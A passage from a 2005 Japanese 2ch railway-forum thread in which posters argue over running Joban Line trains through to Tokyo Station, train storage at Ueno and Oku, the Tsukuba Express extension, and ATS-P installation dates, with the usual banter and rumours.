いくら金鳥金鳥と呼んでも、やっぱり大日本除虫菊。
渦巻だろうと水性だろうと、やっぱり大日本除虫菊。

592 :名無し野電車区:2005/05/07(土) 00:27:07 ID:VF+Qy9Jl
上野のホームに余裕ができたら、東武線の特急や長距離電車の乗入れ
何てないかな。
常磐線の線路を改軌して、スカイライナーを乗入れさせると、ずいぶん
便利になる。フリーゲージトレインを導入できれば改軌の必要もない
わけだが。

593 :569:2005/05/07(土) 01:44:19 ID:XcUm8Hpe
>>570
お前さあ、東北縦貫線が開業するとそれまで朝の上野始発特急を止めていた尾久の電留線が、
東海道・東北高崎の両側から来た上野止まりに埋められて枠が減り、最悪使用できなくなるの分かってる?
尾久が使えないとなるとどうなるか。上野は宇都宮高崎の上野止まりと高架ホームに入りきらなくなった常磐線で一杯になる。
東北縦貫線は、大宮→上野が3分以下の間隔になるからそうなると東大宮も大宮以北から持ってくるのも駄目。
品川→上野は湘南新宿ラインのおかげで多少間隔が空くけど、それでも4分以内にはなるから、田町も使えない。
そもそも田町は東海道線の特急が止めてあるところだから、常磐特急が邪魔するわけには行かないので論外。
とすれば、あとは常磐線の自己責任で持ってくるしかないだろ。
それとも何か?朝ラッシュ時の常磐線に誰も乗っていない特急車両を回送させて持って来いとでも言うのか?
ちなみに7:50〜8:50の間で見ると、通勤快速3本、普通6本、快速10本の計19本だから、
通勤快速置換えを条件にでライナーを挿入する事も十分可能。
そして、通勤快速が無くなった分の車両で快速→普通化すれば、土浦〜取手間の利用者も便利になる。

594 :名無し野電車区:2005/05/07(土) 02:09:38 ID:UNQSTgET
誰か>>593の言っていることを翻訳してください。

595 :名無し野電車区:2005/05/07(土) 03:09:38 ID:cZRj2e3j
>>593
プ

596 :名無し野電車区:2005/05/07(土) 03:48:06 ID:nWuL2bNL
JRもTX対抗で常磐線のサービス改善するって言うなら、
日中特快設定なんかよりも前に
まず土休日昼間の京浜東北を日暮里に停めてくれ。
あとは正直どうでもいい

597 :名無し野電車区:2005/05/07(土) 03:48:36 ID:XcUm8Hpe
I think, if Tokyo-through line completes.
Where can stay cars using limited-express train named “Super Hitachi” and “Fresh Hitachi” in the morning?
It is staying in Oku garage now. But There will stay cars using Tokaido line.
I think nice idea. It is staying in Abiko garage, Tsuchiura garage, and Katsuta garage.
It is able to run Luxury train (isn't limited-express train.) from Katsuta, Tsuchiura, and Toride to Ueno.

>>594
訳しましたが何か。それも自分で。

598 :名無し野電車区:2005/05/07(土) 05:39:34 ID:FqO1jUqe
>>597
あんたの主義主張はぶっちゃけどうでもいいが、一度英語を勉強しなおすことをお勧めする。

599 :名無し野電車区:2005/05/07(土) 05:46:16 ID:uEDgYIs1
>>597
タモリ倶楽部で昔駅内留学とか言いながら鉄道英語を勉強する回があったので、
是非見てくれ。

600 :名無し野電車区:2005/05/07(土) 13:10:31 ID:vxMveA5Z
>>597

地平ホームの北側には何本か電留線があるから、そこから常磐特急を出せばいいのでは?

601 :名無し野電車区:2005/05/07(土) 13:37:25 ID:8pjhuBrX
>Where can stay cars using limited-express train named “Super Hitachi” and “Fresh Hitachi” in the morning?
>It is staying in Oku garage now. But There will stay cars using Tokaido line.

東海道線車両でいっぱいになるといっても、尾久の敷地は広大だから、
特急を何本か置くスペースすらなくなるとは思えない。

>I think nice idea. It is staying in Abiko garage, Tsuchiura garage, and Katsuta garage

尾久に置けないから我孫子か土浦か勝田に置け?
それが「nice idea」って程のものですかねえ??

602 :名無し野電車区:2005/05/07(土) 13:48:32 ID:RNmFACYj
593には我孫子とか土浦とか勝田滞泊とか全くカキコしてないのに、597にはなぜかある件について

603 :名無し野電車区:2005/05/07(土) 16:11:13 ID:prl5IENb
とりあえず常磐厨は消えろ

604 :名無し野電車区:2005/05/07(土) 18:48:34 ID:XcUm8Hpe
ボケにそこまでマジレスしてくるとは、
 さ い た ま 人 必 死 だ な w 。

ぶっちゃけ俺も上野の電留線と、旧18番線復活が思いつかなかったのはアマちゃんだろうけど。
ま、本来の妄想はTXに真似出来ないサービスとして他線の新幹線・G車のようにリクライニングシート車を常磐線にも導入する事だから。
車庫の問題はどうでもいいんですけどね(ォィ)。
>570
>貨物線や湘新・横須賀線といった逃げ道のある東海道とは違う
>常磐はもちろん宇都宮・高崎線でも最ピーク時のライナー設定はありえない
東海道ライナーの逃げ道となった横須賀線がどうなっているか知っての発言?
ライナー、湘南新宿ライン、N'EXが割込むのでピークでもたった時間11本しかないのだが。
宇都宮線14本、高崎線14本よりも少ないんだぞ。
結論として言いたいのは、東海道線でさえ相当無理してライナーを走らせているぐらいだから、
常磐線は出来ないなんてありえないという事。
ライナー時間3本走らせても快速普通で15本走らせられるから別に不可能ではないと思いますがねぇ。

605 :名無し野電車区:2005/05/07(土) 19:49:12 ID:ZYlb/pPP
"( ´゚,_」゚)ヒッシダナ"

606 :名無し野電車区:2005/05/07(土) 20:01:22 ID:l4AVzQyl
>>604
無理してライナー走らせるのは需要があるからだよ。月1万円強のセット券に
対して月1度とはいえ早朝からみどりの窓口に並ぶ需要が常磐にありえるか?
需要が無いところに供給はありえないよ。ダイヤ上の問題なんかじゃないよ。

607 :名無し野電車区:2005/05/07(土) 20:07:08 ID:FohjoBDS
>>606
ありえないとは、言い切れないね〜

先入観でモノを語るなよ。

608 :名無し野電車区:2005/05/07(土) 21:41:59 ID:V4Klb/b3
>>607
有り得るとも言い切れん…

609 :名無し野電車区:2005/05/07(土) 21:59:27 ID:BxUFlvLE
>>604
横須賀線と常磐線の違い
@路線長
A並行路線
B沿線住民
これだけ考えれば同列に論ずることの愚は自ずとわかるはず。

610 :名無し野電車区:2005/05/07(土) 22:01:07 ID:EX/QT/Ik
常磐線で酒盛りと社内しょんべんやめないと乗り入れは無理。

611 :名無し野電車区:2005/05/07(土) 22:02:19 ID:RNmFACYj
総武快速線にグリーン車が付いた時も猿しか乗らないといわれたわけだが。

612 :歴史的名言:2005/05/07(土) 22:27:21 ID:DO2pF9js
鉄道営業法では猿は乗せないことになっております

613 :名無し野電車区:2005/05/07(土) 22:32:37 ID:Th007/vL
第何条?

614 :名無し野電車区:2005/05/07(土) 23:12:23 ID:GAtUISN+
>>611
猿はグリーン料金払うの?

615 :名無し野電車区:2005/05/07(土) 23:13:31 ID:l4AVzQyl
>>613
違うよ、昔の有名国会答弁。

616 :名無し野電車区:2005/05/07(土) 23:16:55 ID:GAtUISN+
マジレスなんだけどヨ231でも缶チューハイとつまみ持ってつり革片手に
杯一するオヤジ層は金出せば座って呑めるならG車乗りそうな気がするな。

617 :612:2005/05/07(土) 23:17:46 ID:DO2pF9js
をを、判ってくれる人がいた!
つД`)・゚・。・゚゚・*:.。..。.:*・゚

618 :名無し野電車区:2005/05/07(土) 23:18:28 ID:ZClGbiQQ
>>615
>総武快速線にグリーン車が付いた時も猿しか乗らない

こういう代表質問をした厨な国会議員がいたということか?
良識を疑うな。

619 :名無し野電車区:2005/05/07(土) 23:18:33 ID:l4AVzQyl
>>616
ちと意味不明。

620 :名無し野電車区:2005/05/07(土) 23:40:07 ID:F8ZFKjGe
>>618

ttp://d.hatena.ne.jp/keyword/%BB%B3%C5%C4%C0%FE

621 :名無し野電車区:2005/05/07(土) 23:49:26 ID:ciHPNWa4
>>611 >>615 >>617
山田線建設時に野党議員が「猿でも乗せるつもりか」とやった時の
当時の原敬首相の答弁だな

622 :名無し野電車区:2005/05/08(日) 00:46:22 ID:NV1QTWw5
>>612
ワラタ
初めて知ったyp!!

>>610
当方茨城在住だが、正直同意。

623 :名無し野電車区:2005/05/08(日) 01:04:48 ID:cX6fW5x8
>>618
ウイットに富んだ答弁をしたことを知らないこと自体
お前の常識も疑われるわけだが。

624 :名無し野電車区:2005/05/08(日) 02:01:59 ID:BH8hwv8O
>>594>>593に対し、「日本語に翻訳して下さい」とお願いすべきであった。

594 :名無し野電車区 :2005/05/07(土) 02:09:38 ID:UNQSTgET
誰か>>593の言っていることを翻訳してください。



625 :名無し野電車区:2005/05/08(日) 02:52:51 ID:bMspj/ty
そうだな、
日本語が出来ない人に言うわけだから正確にな

626 :名無し野電車区:2005/05/08(日) 12:14:57 ID:3HTMY2ml
>>593の言う事を日本語に翻訳すると、
「常磐線は縦貫線に入るな。TX対策は別の方法で!」
一言そういえば済むのに、何をわざわざ雑な長文を・・・。

627 :名無し野電車区:2005/05/08(日) 13:27:19 ID:T/dsMhZM
TXの東京延長はどうなったの?

628 :名無し野電車区:2005/05/08(日) 15:29:00 ID:3YqA7Nwe
>>627
2010年?くらいに東京に延伸させるとか。

629 :名無し野電車区:2005/05/08(日) 15:37:08 ID:ktBlLEiH
>>626
このスレって、
「常磐線をどのようにすれば快速普通の東京乗り入れに固執する常磐厨を黙らせる事が出来るか」
スレじゃないんだっけ?w


630 :名無し野電車区:2005/05/08(日) 16:14:28 ID:b9qx1IyO
ここは「内部では常磐線乗り入れ決定済なのに、プレスにもとづき常磐快速乗り入れ厨を叩く」スレでつ。

631 :名無し野電車区:2005/05/08(日) 16:29:33 ID:T0m/Qjmx
>>630
ハァ?「プレスリリースに基づき」だろ?
脊髄反射で書き込みとは常磐厨も必死だなw

632 :名無し野電車区:2005/05/08(日) 16:31:43 ID:b9qx1IyO
ね、>>631のように
ここは「内部では常磐線乗り入れ決定済なのに、プレスにもとづき常磐快速乗り入れ厨を叩く」スレでつ。

633 :名無し野電車区:2005/05/08(日) 16:32:28 ID:K8NIPfn/
内部=常磐厨の脳内

634 :名無し野電車区:2005/05/08(日) 16:36:31 ID:b9qx1IyO
ま、今は証明しようがないからな。

あとで己の見る目のなさを怨むんだが。

635 :名無し野電車区:2005/05/08(日) 18:02:19 ID:T/dsMhZM
>>628
結構速いね。縦貫より速いかも

636 :名無し野電車区:2005/05/08(日) 18:16:08 ID:ey9/MMRN
>>628>>635
んなんそんなすぐに無理でしょ。
一応環境アセスだの何だのから始めなきゃいけないはずだし。

637 :名無し野電車区:2005/05/08(日) 19:17:31 ID:3ldmd/DR
>>636
時期は未定だけど、一説では2010年とも2011年とも言われている。
大深度地下を掘り進めるので、普通よりも早いのかもしれない。
ちなみに、東京延伸でTXは年50億円程度の増収を見込んでいるそうだ。

638 :名無し野電車区:2005/05/08(日) 19:31:31 ID:ey9/MMRN
>>637
成田新高速の場合、設計やアセスや工事認可期間で3年かけてるからねぇ。
(1+1+1年でなく、期間はまるまる重なってる。)
TXでもそのくらいかかると仮定すると、
実際の工事は、大深度とは言っても東京駅は地上から工事しなければならないし、
2011年にはできなそうな気がする。今既に2005年だから。

639 :名無し野電車区:2005/05/08(日) 19:33:55 ID:T/dsMhZM
>>637
それを京葉線と接続すべきである。


ていうか、地下って東京駅のどのあたりだ?

640 :名無し野電車区:2005/05/08(日) 20:20:05 ID:eym1qLt3
634 :名無し野電車区 :2005/05/08(日) 16:36:31 ID:b9qx1IyO
ま、今は証明しようがないからな。

あとで己の見る目のなさを怨むんだが。


こういう勘違い野郎、多いねw
ヲタの妄想がたまたま現実に起こった事と一致するだけじゃん、
現実になったとしても。それを「己の見る目のなさを怨む」だとw

バッカじゃねーの?

641 :名無し野電車区:2005/05/08(日) 20:21:14 ID:K8NIPfn/
>>639
構想では丸ビルの西側とか報道されてた希ガス
少なくとも横須賀線よりは皇居よりになるかと

642 :名無し野電車区:2005/05/08(日) 20:27:33 ID:/JE9LjQC
>>639
丸ビルの前らしい。

でも通勤路線のTXを東京駅まで延伸してどういうメリットがあるのだろう?
秋葉原駅は、総武線、中央線の各駅電車と、東京駅は、それぞれの快速電車
乗換えられるわけだが。東海道線、横須賀線に乗換える乗客が多数?

643 :名無し野電車区:2005/05/08(日) 20:31:35 ID:ey9/MMRN
>>642
「東京駅直通」というインパクト狙いでしょう。
あと、新幹線もあるけど。

644 :名無し野電車区:2005/05/08(日) 20:40:39 ID:/JE9LjQC
TX沿線の旅客は、そんなに(しょっちゅう新幹線に乗るほど)旅行好きだろうか。

645 :名無し野電車区:2005/05/08(日) 20:50:17 ID:S56WlbPb
>>628,635,637
ヲイヲイ、気が早いな。まだ構想段階で着工が決まったわけでも
なんでもないんだぞ。しかも、TX開業後の輸送動向を見てからの
判断だし、とてもそんな早くに完成するわけはないわな。
>>642
それもまだ未定。しかも丸ビル前にはスペースが無い。丸の内線
の下が想定されるけど、あまり深くすると、工期と工費そして、
例の地下水問題の板ばさみだから、そう簡単にはいかない。

646 :名無し野電車区:2005/05/08(日) 21:04:35 ID:b9qx1IyO
>>640
残念だがヲタの妄想ではないんでね。

ま、発表になったら晒しあげてやるよ。

647 :名無し野電車区:2005/05/08(日) 21:11:01 ID:WZnP7uYJ
>>642
東京で降りてそのまま職場へ、という立地でもないしな。
大手町にもう一つ駅作るのだろうか?

648 :名無し野電車区:2005/05/08(日) 21:11:03 ID:4Im22rP8
>TX沿線の旅客は、そんなに(しょっちゅう新幹線に乗るほど)旅行好きだろうか。

つくばには研究者が多いから、乗り換え一回で新幹線というのは大きいかもよ。

649 :名無し野電車区:2005/05/08(日) 21:58:37 ID:fWjWdgBY
仮に常磐線「も」直通するとすると...

昼間帯に1時間あたり中電4本快速4本。
東海道線直通の東北線と高崎線が8本に、あと東京折り返しの特急が数本。
ずいぶんと忙しいことになるな。

650 :名無し野電車区:2005/05/08(日) 22:35:43 ID:UZq5dcNb
>東海道線直通の東北線と高崎線が8本

グリーン車なしの5+5両編成も東海道線に入るんですか?

651 :名無し野電車区:2005/05/08(日) 22:40:33 ID:fWjWdgBY
グリーン車なしの5+5両だけ東京駅で折返すという手もないではないが、
どうするつもりなんだろう。

652 :名無し野電車区:2005/05/08(日) 22:48:43 ID:OBn78wtg
その編成が上野駅折り返しになるのではないか、と考えられているが…

多分、5+5の編成は無くなる。
G車は束の予想以上の増収源になっているようだから、
車両投入計画が変更されるのではないか、と思う。

653 :名無し野電車区:2005/05/08(日) 22:58:44 ID:fWjWdgBY
なるほど。
5+5の編成の問題は、サービス面の問題だから、東京か品川で折り返す
ということも考えられないでないわけだな。品川なら普段使っていない
ホームもあることだし。

654 :名無し野電車区:2005/05/08(日) 23:07:24 ID:EsRP7uzq
>>652
G連結率が80%ではどうも使いづらいからね。
G車を積極的に利用したい客層をかなり逃しそう。
特に東海道線と違って列車本数が少ないため、G付きの列車まで待つのは無駄が多すぎるし。

655 :名無し野電車区:2005/05/08(日) 23:19:48 ID:S56WlbPb
>>648
研究者が多いのと新幹線一回乗り換えは全く結びつかない。
そもそも研究者は定期的な学会などのための移動はあるが、
都心のビジネスマンの不定期な移動(出張)に比べてそれ
も相当に少ない。

656 :名無し野電車区:2005/05/08(日) 23:24:02 ID:vJhVif1B
211系が乗り入れするとなると東海道線が11+4、高崎線宇都宮線が10+5という
のも問題になる。
211系は113系や115系の置き換え用として他路線に転属させる可能性はあるのかな?

657 :名無し野電車区:2005/05/08(日) 23:25:12 ID:zyfOqTxZ
>>656
東海道の211系も10連だろ。

658 :名無し野電車区:2005/05/08(日) 23:28:09 ID:aiTfhHGr
E231系はいいとしても、211系はどうしても5+5が出てしまう気がする。
東海道線から転出して新前橋区に転入するG車は34両。
1編成に2両ずつ連結させるから、G付は17編成になる。
今、新前橋には211系5両編成が73編成あるので、
73編成のうち、34編成を使ってG付編成を作っても、
39編成も5両の付属編成が残ってしまう。
G付基本編成が17、付属編成が39。
これでは5+5をなくすのは難しいような気がする。
もっとも縦貫線開業時に211系が残っているかどうか。

659 :名無し野電車区:2005/05/08(日) 23:28:42 ID:bvxfDWvl
>>656
アイタタタタタタ…

660 :名無し野電車区:2005/05/08(日) 23:32:40 ID:gLHHof2K
>>655
研究者一人一人をみると出張は多くないかもしれないが、
あの街には研究者が1万人以上住んでいるので、
毎日のように新幹線利用者が入れもおかしくない。

661 :名無し野電車区:2005/05/08(日) 23:38:15 ID:7ScnXVTS
>>655
毎週のように出張で新幹線を使う研究者は少ないかもしれないが、
研究者の多くは週に1回とか2回とかどこかの大学で非常勤で講義を受け持つなどしているから、
秋葉原なんて中途半端なところで降ろされるよりは東京の方がいいに決まっている。

662 :名無し野電車区:2005/05/08(日) 23:41:08 ID:aIa+LB4Z
そもそも、東京直通を強硬に主張するのは東北高崎厨・・・
なぜか東北高崎以外の東京直通には「直通させて何か意味があるのか?」

663 :名無し野電車区:2005/05/08(日) 23:44:48 ID:T/dsMhZM
TXが東京まで来るのなら丸ビルより、八重洲側につけて欲しい。その方が新幹線に乗りやすい。
日本橋口あたりが良い。今のバスもそこだし。

664 :名無し野電車区:2005/05/08(日) 23:44:55 ID:OBn78wtg
ワケワカラン(AA略

665 :名無し野電車区:2005/05/08(日) 23:48:21 ID:K8NIPfn/
>>663
神田の地下にループ線を作って地下6階の発着となります


・・・ループ線は冗談としても、首都高八重洲線・総武快速線などのトンネルや
下水道・電線坑などの支障を回避しようとすると、実際そのくらいの深さでないと
八重洲口発着は無理らしい

666 :名無し野電車区:2005/05/09(月) 00:35:11 ID:IxaRq6dv
>>662
TXの場合は、東京延伸には莫大な建設費がかかるわけで、費用対効果の
問題が横たわっている。

東北縦貫線の場合は、建設されることが前提なので、上野〜東京間の
線路が結ばれたのを、いかに活用するかの議論になる。
常磐線の東京直通に対するバリアはもっと低い。実際、特急は直通する
わけだし。

あと、どっちが東京直通するにせよ、上野駅で同一ホーム乗換えで
東京方面と直通する電車に乗換えられるようにするというような余地
もあるかと。

667 :名無し野電車区:2005/05/09(月) 00:38:10 ID:6qP+d5Vw
常磐線からの乗り入れは、上りも下りも上野駅は9番線発着?

668 :名無し野電車区:2005/05/09(月) 00:56:01 ID:IxaRq6dv
>>639
京葉線と直通させるのであれば、現在想定されている東京駅の位置だと
京葉線と接続しづらい。
そこで、大手門の前の内堀通りの地下に大手町駅を設置し、京葉線の
東京駅と接続してはどうか。その方が、丸の内線と支障しなくなるし、
割り切って大手町駅を設置することもできる。秋葉原方面から内堀通り
に出てくるあたりが微妙ではある。

669 :名無し野電車区:2005/05/09(月) 01:02:33 ID:IxaRq6dv
>>667
現行の配線では、常磐線から、上野駅の1〜4番線を除くどのホームにも
出入りできるようだが。

670 :名無し野電車区:2005/05/09(月) 02:09:29 ID:2npMglxv
>>669痛いね。
5・6番線は常磐線方向からは入れない。
東京方面(今の引込み線)から来た列車が常磐線下りに入る事は出来るが。

671 :名無し野電車区:2005/05/09(月) 02:52:09 ID:AnTa0Imd
>>670
それでも5・6番線が下り専用に使われる分には問題ないね。その場合、
常磐線電車は、一旦東京方に引上げ、東京方から5・6番線にはいればいい。
東京方には3線あるので、引上げ線を確保できるんじゃないか。

672 :名無し野電車区:2005/05/09(月) 03:27:00 ID:NQwdfm16
常磐線を東海道線に入れる場合は、10番からも縦貫線に出入りできるようにするとかで、
それに50〜60億円かかるらしい。

673 :名無し野電車区:2005/05/09(月) 04:41:47 ID:oMQkZZ5y
で。
着工はいつぐらいから?

674 :名無し野電車区:2005/05/09(月) 05:42:02 ID:p86eITrF
>>673
「中のヒト」=>>646が答えてくれるよw

675 :名無し野電車区:2005/05/09(月) 12:14:11 ID:n4Sm1t5n
http://hobby7.2ch.net/test/read.cgi/rail/1113476232/
常磐線は新金貨物線〜小名木川貨物線〜京葉線の東京乗り入れでいいじゃん。
元々新幹線用だから15両入るようにできるだろし、
京葉線があぶれるようなら一部をりんかい線に流しちゃえば…
りんかい線通過客の運賃扱いがネックで無理?第二種事業者にしてもらえ…

676 :名無し野電車区:2005/05/09(月) 12:40:35 ID:cJtZuyD3
>>675
松戸以遠は恩恵を被るかもしれないが、所要時間はどんなものだろう。
意見よさげだけど、あまりメリットがないのじゃないか。
当然のことながら、上野〜金町間は取り残される。

東北縦貫線に割り込む(?)方がましでは。



677 :名無し野電車区:2005/05/09(月) 12:45:10 ID:fXT9jJHz
>>675のアイデアは、何か、川島的発想だと思ったのは俺だけだろうか?

678 :名無し野電車区:2005/05/09(月) 13:16:41 ID:JiSVoGeR
プレスに忠実になりませう

679 :名無し野電車区:2005/05/09(月) 13:37:55 ID:jtuCj1gU
>>675
京葉ユーザーからすればお断りだ
武蔵野線や減便のせいで以前より使いにくくなってるのに
そんなことされたら堪らんは

680 :名無し野電車区:2005/05/09(月) 15:32:25 ID:yptUSJMF
湘南新宿線の運行拡大が、東北縦貫線に影響するのでは?

使用車両の共通化(E231化)が、東海道線との直通運転の準備の
前倒しになっている?

東北線・高崎線の運転本数の運転本数の増加が抑えられる。
それにより、常磐線列車の直通が拡大できる?

681 :名無し野電車区:2005/05/09(月) 17:01:44 ID:UYJmgUZM
>>680
車両が共通だからこそ、増発に対しても最低数で最大限に効率よく
運行出来るってことになるんじゃなく?

682 :名無し野電車区:2005/05/09(月) 20:03:11 ID:DVBYVtFy
上野着の高崎線と宇都宮線の総数と、東京始発の湘南電車の総数はどちらが多いの?

683 :名無し野電車区:2005/05/09(月) 20:22:54 ID:3A863VyT
>>682
前者。

684 :名無し野電車区:2005/05/09(月) 20:53:22 ID:28ghOtpp
「中のヒト」に期待!よってコテハン希望。自信があれば出来るはず!

685 :名無し野電車区:2005/05/09(月) 21:14:32 ID:UouoYuhJ
>>684
情報漏洩で社内処分を受けると思う。

686 :名無し野電車区:2005/05/10(火) 01:03:46 ID:mlPmfrB0
>常磐線を東海道線に入れる場合は、10番からも縦貫線に出入りできるようにするとかで、
>それに50〜60億円かかるらしい。

これは東北高崎のみの乗り入れの場合でもやるべきじゃないか。
そうすれば5〜6番が北行、9〜10番を南行にして、
7〜8番を折り返し用として抱き込めば折り返し列車が平面支障することもない。

687 :名無し野電車区:2005/05/10(火) 02:00:06 ID:Q2ScXvzE
>>686
常磐線の下りが、東北高崎の上下線の間に入るか京浜東北南行がわにしないと
変わらないような気もするけど


688 :名無し野電車区:2005/05/10(火) 06:06:31 ID:1+MCeAfY
>>686
9〜10番は常磐線用にしないとホームが足りなくなる。
したがって5番が北行き、8番が南行きとなる。
6番〜7番じゃ折り返し用に使えばよい。

689 :名無し野電車区:2005/05/10(火) 08:18:44 ID:6yTC/xoX
>>684
>>685
だから、ヲタの妄想だってばw

690 :名無し野電車区:2005/05/10(火) 10:29:40 ID:fTX+RNMg
>>689
2chには釣りはあるが、お漏らしもあるということを
君は知らないの。

691 :名無し野電車区:2005/05/10(火) 13:56:18 ID:+l8KF0qa
>>690
「中のヒト」キタ━━━━━━(゚∀゚)━━━━━━!!!!!

692 :名無し野電車区:2005/05/11(水) 20:49:46 ID:TXKc2fIV
東海道沿線住民が上野駅延伸を全然希望しないのに、東北や新潟などが「東京駅に来るな」と言われているのに、東京駅直結に異常に執着する時点で「ベクトルは北に向かっていない」という意味だから東日本新幹線沿線の敗北である。

693 :名無し野電車区:2005/05/11(水) 21:12:33 ID:czbBNnkE
お〜い、誰か>>692を訳してくれw

694 :名無し野電車区:2005/05/11(水) 21:31:36 ID:TXKc2fIV
わざわざ混雑している東京駅に来なくてよい、東北などが東京駅直結を自慢するとかえって馬鹿にされますよ!という意味です。

695 :名無し野電車区:2005/05/11(水) 23:10:46 ID:+ddhi9Ll
>>665
それなら都営浅草線の東京乗り入れのスペースってあるの?
それも大深度?

696 :名無し野電車区:2005/05/11(水) 23:18:45 ID:6tV6R7i1
>>693
東海道沿線住民が東京駅終点を全然喜んでいないのに東京駅終着が存在する時点で、
「東北筋在来線は皆上野始発なのに東海道線だけ東京始発が存在するのはおかしい。よって東海道線は品川終点にしろ。」
とでも言いたいのだろうw。

>>692なんて現状がどんな不公平がおきているか全然判っていない、はっきり言ってバカ丸出しの意見ですがね。

697 :名無し野電車区:2005/05/11(水) 23:31:23 ID:1nV8eVxX
>>695
都営浅草線東京駅は京葉線東京駅よりは浅い構想のはず。
うろ覚えだが。

698 :名無し野電車区:2005/05/11(水) 23:45:30 ID:vze8RAsN
>>695
都営浅草線の東京延伸は首都高のトンネルに突き当たったところ
(八重洲地下街の下まで)で終わり
それでもホームは地下4階になるらしいが

699 :名無し野電車区:2005/05/12(木) 00:50:09 ID:F4Jwm1gS
>>696
不平等って言っている時点で田舎者。東海道ユーザーは一切気にしません。

700 :名無し野電車区:2005/05/12(木) 02:23:17 ID:QryZfvn2
>>695 >>698
再開発地区に建設する場合は、再開発ビルの基礎工事と一緒に駅施設を
建設できそう。既設のビルの地下深くの大深度に作る必要はない。

ホームが深いのは、浅草線から分岐するために浅草線をくぐるとともに、
成田空港方面との線路と羽田空港方面との線路を立体交差させなければ
いけないことによるんじゃないかな。

八重洲口の前の外堀通りの地下には、地下街と駐車場と高速道路がある。
JRの東京駅に近づけて駅を作るために、その下にホームやコンコース
の一部を建設しようとすると、工事が難しくなり、建設費が高くなる
ものと思われる。


701 :名無し野電車区:2005/05/12(木) 04:13:34 ID:/EZNl8bA
>>700
東京駅のスイッチバックは東武野田線柏駅のように平面交差じゃないの?

702 :名無し野電車区:2005/05/12(木) 17:50:32 ID:O0sRLPBu
福知山線事故で、在来線のATC−p拡大が国交省から各JRに厳命されたけど、
首都圏でATC−Pでない在来線区間て・・・まさか常磐線?
だったら、いい機会かも。

703 :名無し野電車区:2005/05/12(木) 18:12:19 ID:6TmGbtdd
>>702
ATC-P?
ATS-Pの間違いだと思うのだが。それに、常磐線はATS-Pになっているはず。

704 :名無し野電車区:2005/05/12(木) 18:12:34 ID:dOowWM6r
>>702
そんなこと調べてから書けよ
自ら無知をさらけ出して恥ずかしくないのか?

705 :名無し野電車区:2005/05/12(木) 18:28:25 ID:/UhpENLk
>>702
首都圏の在来線は、ほぼ導入済み。常磐線なんか、とっくの昔の話だな。

ちなみに、ATS−Pなので念のため。恥ずかしい奴だ。

706 :名無し野電車区:2005/05/12(木) 18:46:02 ID:9AQaqLIF
>>702-705
そもそもATS-Pの導入義務付けではないわけだが
http://www.mlit.go.jp/kisha/kisha05/08/080509/01.pdf

707 :名無し野電車区:2005/05/12(木) 19:24:54 ID:r/2B/hJb
>>699
ありがたい。スルー運転になってもまったく意に介さないというわけだな?

708 :名無し野電車区:2005/05/12(木) 22:14:30 ID:yHUAooky
>>707
東京駅から先に行き来する人も少なくないからね。
上野まで直通した方がありがたいと思う人も多いと思うね。

709 :名無し野電車区:2005/05/12(木) 22:29:40 ID:hqop1tjz
ATC-Pだって。(プッ

710 :名無し野電車区:2005/05/12(木) 22:31:55 ID:xpkV8Ji/
常磐線のATS−P

1989.10.31 上野〜日暮里
1991. 2.17 日暮里〜取手
1991. 2.19 取手〜土浦
2001. 5.30 土浦〜勝田

東北線・高崎線のATS−P

1989. 5.20 上野〜尾久
1993.10. 3 尾久〜蓮田、大宮〜宮原(大宮駅構内は1992.9.26)
1994. 2. 3 池袋〜大宮(貨物線)
1997.11. 1 宮原〜籠原
1998. 3.13 蓮田〜小金井
2000.11. 9 高崎〜新前橋
2001. 2.16 籠原〜高崎
2001.12. 8 小金井〜宇都宮

711 :名無し野電車区:2005/05/12(木) 23:43:52 ID:t483FeaM
>>708
上野まで直通をありがたいと思う人は少なくはない、
という表現のほうが的確だろうな。多くはないと思う。

712 :名無し野電車区:2005/05/12(木) 23:52:36 ID:mxN0WIOm
常磐線ってATS-Pはいわきまででしょ

713 :名無し野電車区:2005/05/12(木) 23:57:14 ID:9AQaqLIF
>>710はJRRの電車編成表に書いてあるのを書き写しただけみたいだな
この春の時点で既に常磐線いわき・宇都宮線黒磯・上越線渋川・両毛線前橋まで
使用開始になってるはず

714 :名無し野電車区:2005/05/13(金) 02:49:31 ID:zHfxcCcY

272 名前:社員[] 投稿日:2005/05/13(金) 01:32:25 ID:g/RDP2lW
社員ですよ。
宇都宮〜上野の東北線が小田原まで延びる。
上野近辺に車両庫の代わりに駅ビルなど商業地を形成したいから。
そして、湘南新宿ラインが好評だから宇都宮や小田原の人を首都圏に運んで金を落としてもらう。
5年後には東京駅八重洲にツインタワーができるよ。今の大丸を壊してサイドに48階ビル2つ。
それを見に来させるために遠くの人間を東京停車の東北線を作るのよ。
期待しててね。


http://news19.2ch.net/test/read.cgi/newsplus/1115900751/272

715 :名無し野電車区:2005/05/13(金) 09:06:03 ID:2vxaGH+f
嘘臭いな
お漏らしは分かり易いようにはしないものだが

716 :名無し野電車区:2005/05/13(金) 09:45:46 ID:7OQ9T90T
>>715
「釣り」と言ってageましょうね。
おそらくそういう糸だろうから。あ、意図ねw

717 :名無し野電車区:2005/05/13(金) 12:24:02 ID:cbVBXOz1
沿線都内で再開発ブームに沸いてるのは東京駅より南側ばかりだから、
この直通で北側も再開発対象にできればJRも一儲けできるし
社会的効果も大きいんだけどねぇ。

718 :名無し野電車区:2005/05/13(金) 13:55:24 ID:Y0nfdxry
神田と秋葉原の何件かのビルがどいてくれればこんなこといわずに今頃できていたのに。


719 :名無し野電車区:2005/05/13(金) 16:06:06 ID:6dqKFq0i
>>714
>5年後には東京駅八重洲にツインタワーができるよ。今の大丸を壊してサイドに48階ビル2つ。
↑これは本当。
あとは知らない。

720 :名無し野電車区:2005/05/13(金) 16:22:35 ID:y/OZbA2r
>宇都宮〜上野の東北線が小田原まで延びる。

微妙に具体的で信じちゃいそうです。
小金井〜上野の東北線はそのまま、と。

721 :名無し野電車区:2005/05/13(金) 22:01:13 ID:nEa5nR0J
>>710はJRRの電車編成表に書いてあるのを書き写しただけみたいだな

正確には「ジェー・アール・アール」ね。
「ジェイ」ではなく「ジェー」なんで。

722 :名無し野電車区:2005/05/14(土) 02:15:26 ID:MtNYcO1w
>>675
常磐線は新松戸〜柏のどこかで武蔵野線への渡し線作って
東京京葉ホームに流しちゃえばいいよ


723 :名無し野電車区:2005/05/14(土) 02:20:05 ID:1xPdLK9S
どこにそんな土地あんだよ

724 :名無し野電車区:2005/05/14(土) 03:24:48 ID:mc476wpo
>>723
四次元空間

725 :名無し野電車区:2005/05/14(土) 03:39:18 ID:0clK+cGB
>>724
もしそういうのがあったら、そもそも鉄道自体が要らなくね?

726 :名無し野電車区:2005/05/14(土) 11:38:08 ID:KK8eYb51
